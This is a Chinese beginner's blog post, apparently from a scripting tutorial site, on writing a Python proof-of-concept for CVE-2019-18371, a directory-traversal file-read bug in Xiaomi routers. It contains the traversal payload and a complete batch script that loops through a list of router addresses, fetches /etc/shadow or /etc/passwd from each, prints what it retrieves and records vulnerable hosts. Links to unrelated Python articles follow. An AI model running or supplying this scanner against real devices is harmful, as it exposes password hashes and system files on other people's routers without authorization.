用Python寫漏洞驗證腳本的代碼
小白嘗試寫任意文件讀取poc
我是一個小白,完全不懂Python,但是Python在滲透中往往是一個重要的角色。
有一個CSDN百萬大佬寫了這樣一句話,不會編程的滲透都是耍流氓。
我雖然菜但是也想嘗試學習寫一下Python漏洞的poc和exp。
我是在網(wǎng)上找到的學習方法,隨便記錄一下。嘗試寫一個批量驗證漏洞的poc
發(fā)現(xiàn)小米路由器有一個任意文件讀取漏洞,學著寫了看看
小米路由器遠程任意文件讀取漏洞
小米路由器遠程任意文件讀取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件錯誤,導(dǎo)致目錄穿越漏洞實現(xiàn)任意文件讀取。
可通過訪問http://domain.cn/xxx…/etc/passwd實現(xiàn)目錄穿越訪問上級目錄及其子目錄文件。
如訪問http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以讀取到passwd文件。
寫一個批量驗證漏洞的poc
第一步實現(xiàn)域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd
域名和payload拼接如下
import requests import time def poc_check(poc): for url in open('xiaomi.txt'): url = url.replace('\n','') poc_url=url+poc print(poc_url) # 把域名和payload拼接成一個完整的域名,然后去請求如果返回200就說明存在漏洞。 if __name__=='__main__': poc_xiaomi='/api-third-party/download/extdisks../etc/shadow' poc_check(poc_xiaomi)
圖片如下
拼接好的域名嘗試訪問,如果返回200代表訪問成功說明能讀取到文件說明存在漏洞
返回其他的狀態(tài)碼就代表不存在漏洞
完整代碼如下:
import requests import time def poc_check(poc): for url in open('xiaomi.txt'): url = url.replace('\n','') poc_url=url+poc # print(poc_url) # 把域名和payload拼接成一個完整的域名,然后去請求如果返回200就說明存在漏洞。 try: print("再也沒有留戀的斜陽") print("正在檢測:") print(poc_url) poc_data=requests.get(poc_url) if poc_data.status_code==200: print(poc_data.content.decode('utf-8')) with open(r'xiaomivuln.txt','a+') as f: f.write(poc_url+'\n') f.close() except Exception as e: time.sleep(0.1) pass if __name__=='__main__': poc_xiaomi='/api-third-party/download/extdisks../etc/shadow' # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd' poc_check(poc_xiaomi) # poc_check(poc_xiaomi1)
寫完了,我太水了的是照著別人寫的
到此這篇關(guān)于用Python寫漏洞驗證腳本的文章就介紹到這了,更多相關(guān)Python驗證腳本內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Django rest framework分頁接口實現(xiàn)原理解析
這篇文章主要介紹了Django rest framework分頁接口實現(xiàn)原理解析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2020-08-08Python filter()及reduce()函數(shù)使用方法解析
這篇文章主要介紹了Python filter()及reduce()函數(shù)使用方法解析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2020-09-09使用PyWebCopy在Python中克隆網(wǎng)頁的操作方法
PyWebCopy是一個用于克隆網(wǎng)頁內(nèi)容的Python庫,它允許用戶從指定的 URL 復(fù)制整個網(wǎng)頁并保存到本地,本文將介紹 PyWebCopy 的基本用法,以及如何克隆網(wǎng)頁并保存網(wǎng)頁內(nèi)容到本地文件夾,文中通過代碼示例講解的非常詳細,需要的朋友可以參考下2023-12-12關(guān)于pandas.date_range()的用法及說明
這篇文章主要介紹了關(guān)于pandas.date_range()的用法及說明,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-07-07pandas中DataFrame修改index、columns名的方法示例
這篇文章主要介紹了pandas中DataFrame修改index、columns名的方法示例,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2019-08-08scrapy redis配置文件setting參數(shù)詳解
這篇文章主要介紹了scrapy redis配置文件setting參數(shù)詳解,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2020-11-11Python數(shù)據(jù)分析之pandas比較操作
比較操作是很簡單的基礎(chǔ)知識,不過Pandas中的比較操作有一些特殊的點,本文介紹的非常詳細,對正在學習python的小伙伴們很有幫助.需要的朋友可以參考下2021-05-05利用python的socket發(fā)送http(s)請求方法示例
這篇文章主要給大家介紹了關(guān)于利用python的socket發(fā)送http(s)請求的相關(guān)資料,文中通過示例代碼介紹的非常詳細,對大家學習或者使用python具有一定的參考學習價值,需要的朋友們下面來一起看看吧2018-05-05